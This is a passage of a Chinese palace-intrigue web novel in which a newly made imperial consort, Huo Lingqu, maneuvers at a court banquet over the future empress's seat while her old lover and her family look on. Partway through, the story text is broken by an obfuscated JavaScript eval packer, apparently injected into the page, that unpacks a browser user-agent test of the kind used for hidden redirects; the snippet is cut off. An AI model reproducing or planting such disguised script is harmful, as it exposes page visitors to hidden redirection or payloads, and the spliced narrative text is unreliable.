霍蓁蓁也怀疑地悄悄挨近她娘问,佟梦姿严词否定,她正着急想找空隙给自己辩白。 诲仰道长冷笑声不再多言,举步走到贵妃面前,凝视眼前隐约可察她母亲痕迹的容颜,他突感晦涩难忍悲辛:“原来都二十四年了,二十四年前你母亲抱着你给我看,你还在襁褓,舅舅也才十七八岁,有哥哥、有姐姐、还有家,少年不知愁滋味。” 寥寥数语,霍灵渠猛感心酸,自然而然就叫出口了:“舅舅?” 诲仰道长抬手想摸摸孩子的脑袋只是手举到半空愣是落不下,他收回手臂,闭眼敛情绪:“舅舅俗家是姬姓,姬发的姬姓,记住,你母亲姓姬。” 霍灵渠点头:“灵渠记住了,母亲姓姬。”话落,她即被提示:“手臂抬起来。” 抬眼,迎上双清冷中略带冷漠的眼睛仿佛刚才的悲戚不曾存在过,她迟疑下抬起手臂,诲仰道长即当着众目睽睽伸手按住霍贵妃的手腕,隔着衣料按几处后提示:左臂。 霍灵渠便抬起左手臂,诲仰道长在手臂按过两下后定住,此约在孔最穴下方约一寸位置。他僵住好几息时间才重新有反应,满含复杂地看向眼前的‘外甥女’,众多朝臣官眷们权当看戏般看国师装神弄鬼,太上皇则不同:“国师,如何?” 诲仰道长笑起来自嘲又感叹,他放开贵妃的手臂,转身走回太上皇身侧,看眼班太妃,太上皇随即吩咐班太妃退远,他再弯腰附身向圣人耳语相告,竟惹得这位退位后仍把握着朝堂权柄的太上皇当众激动起来:“当真,国师没有查错,当真是贵妃?” “贫道没有十足把握,需炼药彻查方能确实,还得耗几月。”诲仰道长如是说,太上皇却好似已经肯定:“不急,国师慢慢炼药。”他再看向霍灵渠的眼神简直是喜出望外如获至宝又感慨万千:“国舅可真会藏啊,这可真是……”踏破铁鞋无觅处,得来全不费工夫。 皇帝冷眼旁观,父皇还能因何事突然如此兴奋?庄太妃也是一猜就猜中,圣人想要长生不老是好事呀,想要多少道士僧侣她都给他安排,偏偏她安排多少道士僧侣他全都不信、就信这个不知从哪里冒出来的诲仰,此刻摆明在哄骗他还深信不疑?! 霍漓江同样看得分明就没在意,穆国公霍秦川靠近老爹,霍擎含糊哼哼:“想长生呢。”突然笑得那么乐,他不用猜都晓得咋回事,每每这种时候他看这女婿就活像二傻子。 穆国公都有点无奈了,只要往长生不老的方向编,还真是不用怕糊弄不了这妹夫。 偌大的麟德殿内众人都关注着呢,有朝臣命妇好奇国师到底说了什么哄圣人这么高兴,就有人眼瞧着猜测圣人或许对霍贵妃冒出了什么想法,也有观察深刻者发现自己多想,小孩家家才看不懂男人对女人有想法时的眼神,圣人的眼神里根本没那想法。 霍海啸细细观察也没从这位圣人的眼中读出任何欲念,反而像在看令他欣喜的物件甚至像苦寻未果而出乎意料得到的珍宝,可这算怎么回事? 湘王烦闷得拿草莓吃,晋王饶有兴味地端喝酒,魏王真无语,这父皇想长生想疯了。 晏霁之兀的想起前世,青铜鼎到他手里之后,嬴天漾和他提过老皇帝和巫师查到乃巫族圣灵出手盗走宝物并且抓到这两件宝物祭 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晏煦之眼疾手快率先重重拽把堂哥的衣袖未料竟然没反应?英王晏墉拽儿子也没用,气得喷火,憋住肝火给霍漓江使眼色让他赶紧拦着;英王妃佟梦娴收到提示慢两拍联想明白:要是再藕断丝连可要累及全家闹出大事的,急忙加入阻拦的行动。 霍家自然也关注着,明示暗示的没被察觉,霍雄鹰硬着头皮跑出座位拽叔叔,霍漓江看侄儿没明白,再收到连襟即将喷火的警告时瞬间激灵,快步上前堵在闺女面前;顾不上重逢叙父女温情啥的,就当务之急瞪闺女示意:现在能和那混球眉目传情吗? 霍灵渠默默转头,霍漓江顿时头疼,他爹他哥和他大侄儿这才反应过来刚刚出大事了。穆国公霍秦川只得转瞪向英王告诫,英王晏墉冒着火反瞪过去,难道他愿意吗? 晏霁之在要被老爹谴责训斥前果断低头装聋作哑,英王晏墉应付过霍秦川想训儿子时又看到他低头装死,真火冒三丈想给他顿鞭子;晏家其他众位倒没顾得上生气,心惊心焦啊,晏和之头胀得都不敢看皇帝陛下的脸色。 置身事外的看客们有帮忙观察,陛下表面很平静既没脸黑也没生气迹象,但这出好戏可真精彩呢,新册封的贵妃在皇帝眼皮底下和旧情人眉目传情,这是当皇帝是死人吗? 佟老夫人都看得清醒了,佟尚书脑门突突突跳,这要是有谁想算计他大外孙和贵妃,这俩人能逃得掉吗?他简直不敢想居然能有这么现成的危机罩在头顶。 霍舒窈喘着气指使丈夫给她倒水喝,她的心都跟着起起伏伏,累死她气死她了。反观霍鸳娇可高兴得乐不可支,她就不信霍灵渠还能翻出水花来。 平原大长公主同样乐得快笑出声来了,庄太妃尽收眼底但淡然得很,鞠太妃则兴味颇浓得看向霍太后挑衅,气得霍太后咬牙龈,预备翻篇要算账时被正徽帝嬴忱璧抢前:“父皇,朕有一事不明,贵妃的母亲与蜀王的舅舅可是有渊源?” 太上皇微笑看向国师,诲仰道长略略颔首再看向皇帝:“禀陛下,贫道是蜀王的小舅。” 嬴忱璧眸光微变,殿内霎时安静,看戏的心态荡然无存,多数人震惊不已,霍蓁蓁看着嫌烦躁都明白这可不是小事,蜀王的亲舅舅给圣人做国师还瞒着大家,蜀王想做什么? 霍海啸亦惊讶看祖父,霍擎淡定点头,他们能不晓得蜀王和灵渠母亲是啥关系吗? 庄太妃冷嗤,难怪当年在圣人有意的情况下,霍漓江都敢争,原来有姬妃母子挡着呢;难怪圣人对这个诲仰如此信赖,蜀王亲舅,瞒得可真好啊。 晋王难以置信更难得扫视向魏王,魏王凶狠回瞪,这个神龙不见首尾的三皇兄,他还真以为他对皇帝宝座没兴趣,原来藏得这么深。 晏霁之纯粹兴致对比观察国师和霍灵渠的容貌,竟然真有两三分相像,相似程度能直逼霍桑柔这位同母亲妹和姐姐的相像;嗯,他再看霍漓江,这闺女还是像亲爹多些。 武襄侯总觉得有点不对劲,霍漓江找的借腹的女人像他的挚爱,那位是姬国舅的妹妹,由此而降生的霍灵渠就能有姬国舅的风姿神韵吗?这可不是相貌像而是气韵风华像啊。 “圣人,原来兴献侯的挚爱是蜀王的姨母,多般配的姻缘,您怎么没给兴献侯赐婚?” 朝臣官眷们循声而望,见是鞠太妃打破沉寂发问,太上皇瞟向穆国公,霍秦川貌似诚恳:“太妃有所不知,姬太妃相不中舍弟,温献皇后出面都没起效。” 这么个解释心思深沉之辈想当然不会信,让你霍家和蜀王外祖家结亲还得了吗?霍海啸都险些没相信老爹的说辞,再深想才意识到不对,就算和他霍家结姻亲,人家有自己的皇子外孙又怎会因为和霍家结亲就有何不同?他叔叔用情至深,没必要拆掉这门亲事。 有些细想发现想浅的看客们也逐渐察觉到症结,即使霍家和蜀王外祖家结亲又如何?实则没多少影响,那么圣人为何没赐婚,难道真是姬太妃反对?这不至于吧。 庄太妃没顾这点弯弯绕绕只在心里冷笑,原来晏贵妃都知道了啊,可圣人竟然对她就瞒得死死的;晏贵妃可真是他的心头爱,难怪隔那么多年还要追尊温献皇后。 鞠太妃当然也被刺得没好脾气:“原来姬姐姐这么嫌弃兴献侯。” 霍擎不吝啬赞同敷衍:“是啊,霍漓江当年非要死缠烂打的可不遭人嫌,换老臣家的娃被外人这么死缠烂打,老臣也得嫌弃死那缠着我家娃的混账。” 几句简单自侃的话轻易将鞠太妃噎住,她憋气想再呛时被兄长郢国公拦住,咬牙忍了。 皇帝将此事翻篇:“国丈当真豁达,贵妃站久该累了,到朕身边坐吧。” “臣妾谢陛下,只是臣妾有一事相求。”霍灵渠施礼谢恩,温婉含笑道:“臣妾幼年幸得贞敬皇后和温献皇后疼爱,温献皇后生前更视我如己出,灵渠不胜感恩缅怀,而今重得霍氏灵渠身份,臣妾想过两日前往皇陵拜祭、给两位先皇后磕头。” 虽然有些不妥,皇帝也同意了,却没想到贵妃公然挑战皇帝的底线:“英王世子思念姑母温献皇后甚深,让晏霁之随臣妾同往皇陵拜祭吧。” 61. 第61章 想和旧情郎藕断丝连也没得这么明目张胆吧,多数人愣愣怀疑霍贵妃真不是傻的吗? 晏霁之真哭笑不得,明白她心慌害怕想找他商量对策,但也真够简单直接的;真难为她能想到往皇陵跑,可怎么就没想到回霍家做掩护呢?她回霍家省亲,他自会尾随嘛。 鞠太妃刚才被憋的闷气顿时扫空,乐得看向霍太后嘲笑,气得霍太后脑壳疼,想打圆场被她爹阻拦,霍擎老太爷把想调和的儿孙们都拦住了,干脆就试试皇帝的态度。 正徽帝嬴忱璧不愿再纵容,一时没人缓和,气氛就僵住了,太上皇朗声笑:“贵妃有心,皇帝就陪贵妃去趟,把魏王和海啸都带着,好好拜祭你两位母后。” “是,父皇。”嬴忱璧声音温和,霍灵渠语调感激愉悦:“多谢圣人。” 晏墉暗暗狠狠警告两眼,晏霁之忽略掉后站起来走到玉阶前与魏王和霍海啸同领旨意;好些人看着啧啧感叹霍海啸这差事可不容易啊,到底该不该帮贵妃堂妹呢? 魏王谢过父皇恩惠就想回座位,哪想晏霁之站定后就不动了,暗示他好几眼都装死样。霍海啸帮忙赶也没赶动,准备伸手拽他走时霍灵渠说:“陛下,臣妾想给丞相敬杯酒。” 班丞相一个抖激灵心道果然来了,嬴忱璧讶异:“给丞相敬酒?” “是呀,虽然臣妾与您谈不上保媒二字,不能以谢媒酒相称,可到底多亏丞相牵红线才令臣妾与您再续前缘才能有霍灵渠今日,臣妾总该谢过相爷敬杯薄酒。” 众人齐刷刷的目光看向班丞相,太上皇笑意微敛:“是丞相引贵妃和皇帝相见?” “启禀圣人,二月二十,灵渠从大相国寺回城途中马车坏了,偶遇丞相陪陛下礼佛回城,还是陛下和相爷亲自送我回英王府的呢;若非遇到相爷,灵渠哪能和陛下相见相认,更遑论得封贵妃?这是丞相给的恩情,灵渠自该致谢。” “娘娘言重,老臣受之有愧实不敢当。”班丞相站起来向太上皇和皇帝施过礼再撇清:“老臣只是陪陛下出城礼佛,回城途中偶遇娘娘,方才有幸见证娘娘和陛下重逢。这是贵妃福泽深厚才得福报,更是贵妃和陛下情缘未尽注定将再遇,与老臣毫不相干。” 太上皇自然知道二月二十班丞相陪皇帝前往大相国寺礼佛的事,皇帝大张旗鼓出宫的,许多朝臣都知;此刻听来有人恍然也有人疑惑,真有这么凑巧就恰好遇到了? “可是是丞相陪着陛下时遇到我,若非丞相积的福报给予的恩情,怎么就不是别的卿家陪着陛下时遇到我呢?”霍灵渠不敢苟同道:“即使天意注定也该谢相爷的。” 他能回是因为皇帝故意选他做见证吗?不能,班丞相就只能顶着太上皇的高压硬接这茬:“贵妃娘娘可折煞老臣了,老臣惶恐,老臣惭愧啊。” “亏得贵妃提醒,朕也该给丞相敬酒致谢,来人,备酒。”嬴忱璧随即吩咐,宫人们迅速给皇帝斟酒又备酒给班丞相和霍贵妃。 班丞相心里苦啊还得笑脸相迎,几乎是喝苦水般陪皇帝和霍贵妃饮下这杯酒。 霍秦川霍漓江他们看着就猜猜不会是灵渠自己的主意,佟梦姿逮到空隙想辩白被拦住,佟尚书示意老妻和女儿都莫急,贵妃有备而来,霍家在严阵以待,有得争论了,急什么。 吏部尚书神情莫名,霍贵妃的身份可微妙得很啊,晏副相是她旧情郎的叔祖,房副相是她堂嫂的祖父,再敲定是班丞相给她和陛下牵红线那么三位相爷可就全和她扯上联系了。 明眼人都看得出来贵妃存心呢,太上皇慢条斯理喝杯酒,考虑下贵妃的用意。 霍灵渠饮尽果酒将酒杯放回宫人举的托盘中,再和班丞相攀扯:“本宫既得相爷恩惠,原不该再烦扰您,只是本宫遇到件棘手的事还得请相爷相助,望丞相莫推辞。” 甭管啥事,班丞相肯定是推脱:“娘娘,老臣对您是外姓,恐怕多有不便。” “方便的,今早在潜邸,女官们检查我的包裹把我的匕首硬夺走了,我怎么都要不回来,想请丞相帮我写篇奏疏呈给陛下,帮我把匕首要回来。”此事她原本可以私底下和皇帝谈,但晏霁之教她和班丞相多攀攀交情,她就向班丞相提了吧。 而霍灵渠这副温和的态度大概没人能想得到今早在潜邸和女官们争匕首时她有多生气,她气得连贵妃的册封典礼都想摔印走掉,此时隔两三个时辰她气消了才平静呢。 “娘娘,匕首是利刃,您带着恐伤玉体,女官们这是按规矩做事,没错的。” 霍灵渠神情哀伤:“相爷可曾有过少年慕艾吗?进撷芳馆之前,在我最青葱的年华里,我遇到过一个意气风发的少年郎想娶我,那把匕首是他唯一留给我的念想。” 太后和霍秦川都感觉有点脑壳疼,霍舒窈是心肺疼,真怀疑她吃错药了吗?多数官眷看来贵妃可不就像疯魔了,这简直是破罐破摔,什么忌讳自曝什么。 和霍家不对付的人家则快笑死了,霍家摊到这么个活体爆竹想自保恐怕都难了吧。 班丞相中规中矩提醒:“娘娘,您既已伴在君王侧,前尘往事该尽数忘却。” “如果我忘不掉也不想忘掉呢。”霍灵渠喃喃,嬴忱璧扬声:“朕可以把匕首还给贵妃,但朕想知道给贵妃送匕首的少年郎现在何处?” “他上战场了。” 霍灵渠语调戚戚然犹如没精打采的蔫花:“他送给我的匕首是他最喜欢的匕首,他哥哥知道他给我送匕首之后告诉他,给姑娘家送礼物送珠宝比较好,他就把匕首要回镶圈珍珠宝石再给我,可他从来都存不住银两,买珠宝的银钱还是向他二哥借的私房钱。 记得他上战场前还没攒够银钱还给他哥哥,他还曾立誓要‘要抛头颅洒热血,保家卫国,做最英勇的前锋。’他爹和兄弟们可无奈,有谁把抛头颅洒热血当成心愿。” 晏霁之低眸微叹息,霍漓江心中苦涩蔓延,霍舒窈郁闷想算你不容易宫宴后不骂你了,嬴忱璧就怕那人已死那么这根刺就永远拔不掉了:“这位少年姓甚名谁是哪家儿郎,去的又是何处疆场,朕应该提拔他以答谢他曾经照顾过贵妃。” “臣妾代他谢陛下隆恩。”霍灵渠明晃晃略过皇帝的问题,无缝衔接挑起第一件正事:“听闻皇后娘娘醉心佛法决意摒弃俗念潜心修佛,不日将斩断红尘遁入空门。” 霍灵渠慢悠悠扬起笑意,美人盈盈眼波里仿佛裹藏着江南千重华彩却又轻描淡写地只展现最淡的水墨,她看向班丞相,气定神闲胜似临高楼俯瞰世间:“将来中宫虚位之日,丞相以为本宫有机会百尺竿头再进一步吗?” 整座大殿倏然静得落针可闻。 太上皇平静的眼中闪过丝果然,霍太后平静得如听家常闲话的姿态中满满的理所当然,正徽帝嬴忱璧平静得肯定她在唱戏但真心希望她不是在演。 相比他们三位,郭皇后心头砰砰跳,眼珠瞪得凸出,全然是副难以置信的失态模样,穆国公霍秦川以表叔的心态瞧皇后都觉得有点寒碜,有必要那么大惊小怪吗? 令愔夫人想不通,贵妃既然有意中宫之位怎么还敢自曝过往丑闻?杭婕妤在心底讥讽皇后的宝座果然人人垂涎,霍贵妃这种非清白身进宫都敢肖想! 翁美人刚舒坦小会儿又郁闷,霍才人霍鹣娇烦躁地扯扯手绢,看向她姐姐,霍鸳娇示意妹妹冷静,假如霍灵渠能闹出点水花就让她去闹,她们只管等着坐收渔利。 鞠太妃乐得看霍家的热闹,满眼兴味的向庄太妃挑挑眉,庄太妃反示意她冷静,她可不觉得此事能有这么简单,贵妃再不长脑也不至于想做皇后还破罐破摔吧。 霍舒窈左思右想还是觉得她脑瓜有问题,宫宴结束后必须把这堂妹骂顿给她醒醒脑。霍蓁蓁心酸悲痛,为什么连这种做过娼妓没有清白的长姐都要和她争皇后位置?! 乐邑长公主和霍灵渠同龄,肌肤莹白黛眉纤秀,杏眼婉约柔美而眼尾微微上翘又给她增添几许恰到好处的妩媚,只是她生得虽是位娇柔美人,她的脾气可不娇弱弱,瞪丈夫几眼还没反应就再拧把,薛述聪吃痛回瞪,她冷笑低呛:“看够没有?” 薛述聪不想搭理她的无理取闹便收回视线吃水果,乐邑长公主嗤声,对贵妃真觉烦躁。好歹她和霍灵渠都有童年同窗兼玩伴的情谊,霍灵渠被害得那么惨受十多年苦,她是不该再落井下石,可贵妃这么不识好歹,她就有点不想忍让了。 置身事外的看客多数打量穆国公和霍海啸,呦呵,个比个淡定呢。建威侯夫人扯丈夫,建威侯摇头让她别瞎想,霍家又不傻,这纯粹是贵妃在白日做梦异想天开。 霍雄鹰不淡定,拽二哥悄悄问:“你帮谁?”简单三字叫霍巨浪真无奈:“你想帮谁?” “我想得好还会跟你商量吗?三姐姐在外漂泊十多年受尽苦楚,如果她回家后的第一个愿望咱都不支持就太没人情味儿太过分了,但爹能舍掉亲孙女帮侄女吗?何况还有大哥在那嗡嗡嗡给爹吹耳旁风,我就怕我帮三姐姐反而会害三姐和家里生嫌隙对她没好处。” 霍巨浪点拨:“你三姐姐不清楚自己的情况么,她故意在唱戏,假的。”然后霍雄鹰就再问三姐姐做什么要故意唱戏?这下还真把霍巨浪给问住了。 班丞相越想越心惊,按住心中计较转向太上皇和皇帝请示,太上皇含笑道:“皇后即将辞位遁入佛门,贵妃位同副后,将来中宫虚位,贵妃有意向也在情理中。 继后的人选关乎国体必须慎重,众卿家都可畅所欲言参与抉择。贵妃关注自己的前程想请丞相指点,丞相就只当家常闲话谈谈你的看法,无妨,皇帝以为呢?” 正徽帝嬴忱璧附和:“父皇说的是,继后的人选还得众卿把关,丞相不必拘束。” 太上皇和皇帝的应对没甚意外,郭皇后也屈辱痛苦难受得整颗心抽搐,哪怕被霍家逼得无路可退,但她还没辞位、她还坐着凤座还是皇后,他们就全然不把她看在眼里了吗? 可再痛苦悲愤,郭皇后也没有阻拦的勇气,只能端着平静的姿态看在眼里屈辱在心里,一如她的娘家建威侯府众位迎着四周明里暗里的嘲笑奚落也只是愤愤憋怒。 离得近的大臣们看在眼里的,班丞相、户部尚书等老臣看着皇后的委屈样就直想叹气,他们做臣子的不是不愿意替皇后谏言,可郭皇后自己就扶不起来啊。 霍灵渠都看得清楚皇后在强装平静,侧过眼对上魏王的视线,迅速移开。在场有谁可怜同情郭皇后呢?令愔夫人算一个,她更想不通陛下为何不保住皇后,哪怕只为皇帝的尊严和皇家颜面,太上皇和陛下都该打压霍家气焰、保住郭皇后啊。 平原大长公主皱眉询问丈夫:“皇兄在想什么,这种贵妃还要纵着她瞎闹?” “场面话。”场面话你都听不懂吗?显国公无语:“她姓霍,只要霍家不倒,贵妃的位置她就能坐得稳稳当当;已非清白身又如何,陛下自己挑的,贵妃该有的体面就得给。” 班丞相面向霍贵妃,第一句就炸:“贵妃娘娘有所不知,皇后娘娘决意辞位的消息传出,众臣已众议推举穆国公的嫡长孙女为继后,是您的侄女。” “卿家们糊涂了,倘若我大哥的女儿继位中宫,大哥和陛下由表兄弟变成翁婿,更将和姑父姑母变成同辈,岂不是荒唐吗?”霍灵渠柔中带刺训诫:“您是丞相是朝堂执牛耳者,下官们糊涂就该阻拦教导,怎么也陪着胡闹?” 班丞相痛快摘出自己:“贵妃娘娘,这是您伯父穆国公欣然同意的。” 穆国公更痛快甩锅:“丞相羞煞下官了,贵妃的训导令臣醍醐灌顶,臣愧对圣人和陛下的器重竟犯此等糊涂实在汗颜,贵妃娘娘教训得极是,将来中宫虚位,继后不姓霍也罢了,倘若有幸能出自霍家,自然是贵妃晋位,霍海啸当然只有做国舅的份儿。” 霍海啸紧随配合表态:“贵妃所言甚是,父亲所言甚是,海啸必会深刻检讨自省。” 班丞相有心理准备都深觉受打击地瞪他们,霍秦川你能不能别变卦得那么利索? 英王晏墉更受打击,在心里连连痛骂霍秦川个王八蛋,就凭贵妃和晏家这关系,做贵妃就让他头昏目眩眼冒金星的,再进一步可不是要把他家给逼疯吗?! 晋王嗤之以鼻,挑眼看圈犹豫是否亲自出头;鞠太妃轻蔑冷讽,霍雄鹰受冲击下一时间转不过弯,多数看客都陷在震惊,穆国公和霍海啸是突然中邪呢还是五通神附体? “爹您糊涂了,贵妃、灵渠她没有清白了,她还做过娼妓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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官眷们关注的视线转移,霍蓁蓁心里放松些了就埋怨她娘,反正她都要和长姐决裂的,佟梦姿低声训斥:“能硬来吗?灵渠是你爹的心头肉,你和你姐姐硬杠能得什么好,如果你大姐随便选门亲事让你爹给你定亲,别说做皇后,你什么前程都没了。” “可大姐都没清白了,爹还能舍掉我反而捧她做皇后吗?”霍蓁蓁反驳,佟梦姿语塞,她按以往的认知考虑却没意识到情形变了,灵渠还可能得她爹疼爱吗? 玉阶上座,霍才人霍鹣娇再三思量都觉得这种令家族蒙羞的侄女怎么可能再得姑母喜欢?太后姑母不可能像她爹似的突然中邪犯糊涂,她拿定主意道:“姑母,我爹糊涂了。 三姐做过青楼娼妓又给英王世子做过四年多妾室,她敢再妄想后位是羞辱皇家和陛下;三姐不知好歹应该狠狠管教,省得她触怒圣人和陛下给家里招祸。” “舒窈呢?”霍太后再点名,霍舒窈笑哈哈:“姑母,我爹和大哥说什么就是什么。” 虽然不爽吧,但霍舒窈震惊过后就相信了,没有啥理由就靠直觉,直觉嘛,没道理的,她的直觉就相信她的亲爹亲哥还是那么打心眼里偏爱霍灵渠。她虽然不爽但也挺舒服,毕竟这样才公平,否则凭什么侄女就能比她的待遇好? 霍太后懒懒扫过殿内情景又叫侄儿霍巨浪,霍巨浪回答听从父兄安排,心里却不信父兄真能向着灵渠,可一时间他还真想不通,大哥还算疼爱灵渠的,能那么耍灵儿吗? 霍雄鹰兴致勃勃等着姑母叫他,他要把霍鸳娇姐妹俩狠狠痛批,哪想太后姑母竟然略过他跳向他三叔霍银湖又紧接着跳向叔祖霍破竹,这是不想问他吗?凭什么忽略他? 还好太后姑母把他小叔和霍振羽都给略过去了,否则他绝对不能忍,霍雄鹰愤愤。 霍鹣娇也愤愤地把手绢拧成麻花,这三叔和叔祖都是眼瞎没看见霍灵渠给家族蒙羞吗?至于嫡姐和嫡兄,她一点不意外,他们向来是死对头,他们肯定要和她反着来的。 趁没人注意,晏霁之没按捺住冲动,低调移步到贵妃面前,可如此近得看着她,他忽然就难受,涌起渴望只想狠狠抱住她;今早还在怀里的女人,此刻他却想多看两眼都难。 霍灵渠水灵灵的大眼睛漾出活泼笑意,本想宽慰告诉他自己没事,偏笑意中沁出苦涩,她就心酸得想扑他怀里,她刚能安稳些生活,皇帝就非要逼着让她进宫受罪。 晏霁之只得眼神安抚她莫怕,在注意到他俩动静的外人看来那叫个缠绵悱恻,上座的众位更是想关注就能尽收眼底,嬴忱璧握紧拳头真怕自己控制不住脸色。 魏王察觉到就冒肝火,跨动步狠狠拽把霍漓江,霍漓江刚想怼魏王就被指引着看到闺女又在和混球眉目传情还比前回更凄婉哀绵,刺激得他一个头两个大,怎么就那么防不胜防,想藕断丝连也不能这么不避讳吧。 霍漓江上前堵在他们中间狠狠瞪这混球,晏霁之憋闷别开眼,但就是不挪地。英王晏墉见此真想把儿子拖走,霍擎硬扯着混球离他孙女远些,心里琢磨怎样把混球赶出京畿。 鞠太妃乐不可支看向霍太后挑衅,太后忍住脑壳疼想算账又被截住,霍灵渠整整心绪说:“丞相能回答了吧,相爷认为本宫将来可有机会入主中宫?” 霍才人霍鹣娇气闷看向她姐,霍鸳娇示意她们暂且忍下,反正她防的是她爹;只要她爹和姑母不向着霍灵渠,随便霍灵渠怎样扑腾,对她们都有利无害。 班丞相只看到贵妃还旧情难忘:“娘娘,老臣能否问问您何以有此想法?” 晏霁之预测得可真准啊,霍灵渠笑容可掬给答案:“第一点缘由是相爷您告诉我、众卿推举的继后人选时想到,相爷可想猜猜?” 班丞相觉得自己可真无辜,贵妃摆明故意拖着他:“娘娘可折煞老臣了。” “因为我霍灵渠是霍家的掌珠啊。”霍灵渠嫣然甜笑,微微抬起下颌矜傲又理所当然:“我在宫中做贵妃,继后人选如果从霍家挑,哪还能有其他霍氏女的份儿?” 闻言,许多朝臣官眷面面相觑发现彼此憋笑的真不少,贵妃的自我感觉可真好,她到底哪来的自信,莫非是够傻吗?穆国公刚才偏向侄女,多数看客反应过来就认定是在耍把戏,谁相信穆国公会舍掉亲孙女反而捧没有清白沾满丑闻的侄女?何况还有霍海啸在呢。 62. 第62章 日铺盛满橘黄的阳光掠过窗牗拂过水仙花清香撒在偌大殿堂,抚慰几丝游动的喧嚣。 晏霁之低眉垂眸都像能感觉到暗涌的嘲笑,霍灵渠也清楚他们在笑话她,她倒不在意,以她的过往官眷们会笑话很正常;况且就算她过往清白、她在霍家也已经是做姑姑的长辈,现在霍家的掌上明珠当然是她的侄女,她只管把戏演好就好。 然而霍漓江他们在意啊,霍海啸扫过全场就在思量该不该就在宫宴上杀鸡儆猴? 乐邑长公主瞧她的可怜样都想给她醒醒脑,霍鸳娇按住憋闷嘲讽,想做梦就做梦吧。 班丞相得体微笑,未置可否:“请问娘娘的第二点缘由是?” “深宫寂寥,倘若在宫里没点盼头,日复日年复年就如滩死水般该怎生煎熬?”霍灵渠嫣然婉转的轻柔慢语泛起哀愁:“可我进宫就做贵妃,太后是我的亲姑母。 霍家得圣人和陛下器重已是钟鸣鼎食、朝野数得着的望族,是我要靠霍家坐稳贵妃位而非父亲叔伯兄弟们的前程需我提拔,那么我不盼着自己做皇后还能盼什么?” “娘娘可以盼皇嗣,您育有皇嗣后就会知道生养孩儿的乐趣。”班丞相没说完就懊恼,这真是话赶话了,但愿贵妃有点数可别真再问她的皇子能否做储君? 在场多位看来这可不就是语言圈套,霍贵妃实则想引出皇嗣和储君的话题,岂料贵妃没按常理出牌:“相爷您看我和晏霁之四年多都没有孩子,您哪里看出来我想盼孩子?不信,你问晏霁之是他不想要孩儿还是我不想要?” 班丞相尽职提醒:“娘娘已是贵妃,前尘往事应该尽数忘却。” “霍才人与其姐没提吗,怎么相爷在她们提我的往事时不劝阻?”霍灵渠好整以暇问:“莫非相爷在故意轻践我呢?” “娘娘过虑了,老臣对娘娘绝无不敬之意。”班丞相耐心的陪贵妃侃:“适才,霍才人和嬴二奶奶并未与老臣在交谈,臣实在没有插话的道理。” “好吧,可丞相难道还能禁止下官和百姓谈论本宫的过往吗,哪怕您愿意下令甚至帮我请动圣人和陛下颁布禁令,又当真能禁止朝野议论纷纷吗?”霍灵渠摇头:“不会的,除非是砍头的重刑,否则就禁不了,何必再掩耳盗铃?” 班丞相清楚贵妃说得透彻但必须纠正:“娘娘慎言,朝廷的法令必是令行禁止。” 霍灵渠顺口接:“但绝不会下令禁止任何人谈论霍贵妃的过往,如有犯者,死,对吗?”她扬起感慨又豁达的笑反劝:“何必呢,我都看得开,陛下的胸襟难道还不如我吗?” “娘娘误会了,非胸襟也,此乃对君王的敬畏,这是不容冒犯的。”班丞相点出要害,霍灵渠也绕着要害探量:“相爷是不是觉得莫说做皇后,我做贵妃,嬴忱璧就很委屈?” 班丞相告诫:“望贵妃切记,陛下的名讳非臣等能直呼。” “本宫七岁时得圣旨赐婚,未婚夫年长我四岁;在我13岁的时候未婚夫娶妻,于是,这未婚夫就变成前未婚夫,我想没关系的,老死不相往来而已。多年后重逢,他有妻妾儿女,我也有男人;但他觉得对不住我,于是拆散我和我的男人让我给他做小妾。” 霍灵渠问:“相爷觉得,我应该感恩戴德前未婚夫对我如此有情义吗?” 刚还看着班丞相和霍贵妃拖着劲儿较量嫌无聊的少数看客们顿时抖抖精神,若非被提起还真有许多人给忽略了:陛下和霍贵妃可是有过婚约的前未婚夫妻,没有当年的阴差阳错,贵妃早已是原配皇后,哪还会有郭皇后什么事? 许多人想到此不由得吸凉气,倒是有些能理解霍贵妃心底的怨恨和想争后位的心态了。也有些官员和官眷们认为这就是不识好歹,贵妃你的前未婚夫可是皇帝啊,让你做小妾是在你已非清白身的情况下还让你做贵妃,这与你给英王世子做妾能比吗? 还有些想长远的看客们发现两者没法比较,除非霍贵妃将来能继位中宫,否则还真算不清是否进宫对她更好?毕竟霍灵渠在晏霁之身边扶正指日可待,她留在英王府就是原配还能有嫡出儿女;晏霁之将来承袭英王爵位,她做王妃,位置稳当更不缺荣华富贵。 令愔夫人忽然想霍贵妃也是性情中人吧,不是性情中人,如何能做这么矛盾的事? 郭皇后捏紧秀拳,既觉难堪羞辱更从心底深处冒出种恐慌,仿佛大臣和官眷们看她的眼神都已经带着她是个偷儿的意味搅得她浑身不自在,几近绷不住勉强维持的镇定。 班丞相的确没想过贵妃心里会有怨,他接不住也没法再接茬:“请娘娘恕老臣愚钝。” “是朕对不住贵妃。”嬴忱璧冷峻的脸庞隐含苦涩,承诺道:“贵妃放心,往后余生,朕必定好好珍爱贵妃;只要贵妃想,只要朕能做到,朕都会满足贵妃。” “若说有缘你我还真有缘,我13岁,你娶妻前天我带妹妹逃回京城。”霍灵渠不识相:“陛下满十七岁要娶媳妇是应该的,晏霁之二十七岁还不娶妻才罕见。” 就像根刺扎进心房,嬴忱璧难受地攥拳,魏王可舒坦,霍擎老太爷打圆场道:“胡闹!仗着陛下的宠爱就越说越不像话,还不快向陛下请罪。” “没事。”嬴忱璧随即扬笑:“贵妃对朕有怨是应该的,贵妃想发泄在朕身上更是应该,朕只盼能让贵妃尽快消气,国丈不需在意。” 甭管皇帝真宽容假宽容,霍擎带儿孙们谢恩,霍灵渠问班丞相:“相爷还想问缘由吗?相爷若想问、我也可以继续作答,但我以为我给的缘由已经足够您答复了。” 班丞相头疼啊,不是给不出答复而是看得明白贵妃的前程;他斟酌迟疑时,乐邑长公主不想再惯着贵妃便出头提醒:“贵妃,人贵自知,即使父皇和皇兄愿意把继后的位置给霍家,自然是给穆国公的嫡长孙女,能有你的份儿吗?” 众人循声而望,霍灵渠亦转身看去,打量她猜测:“纤若?” 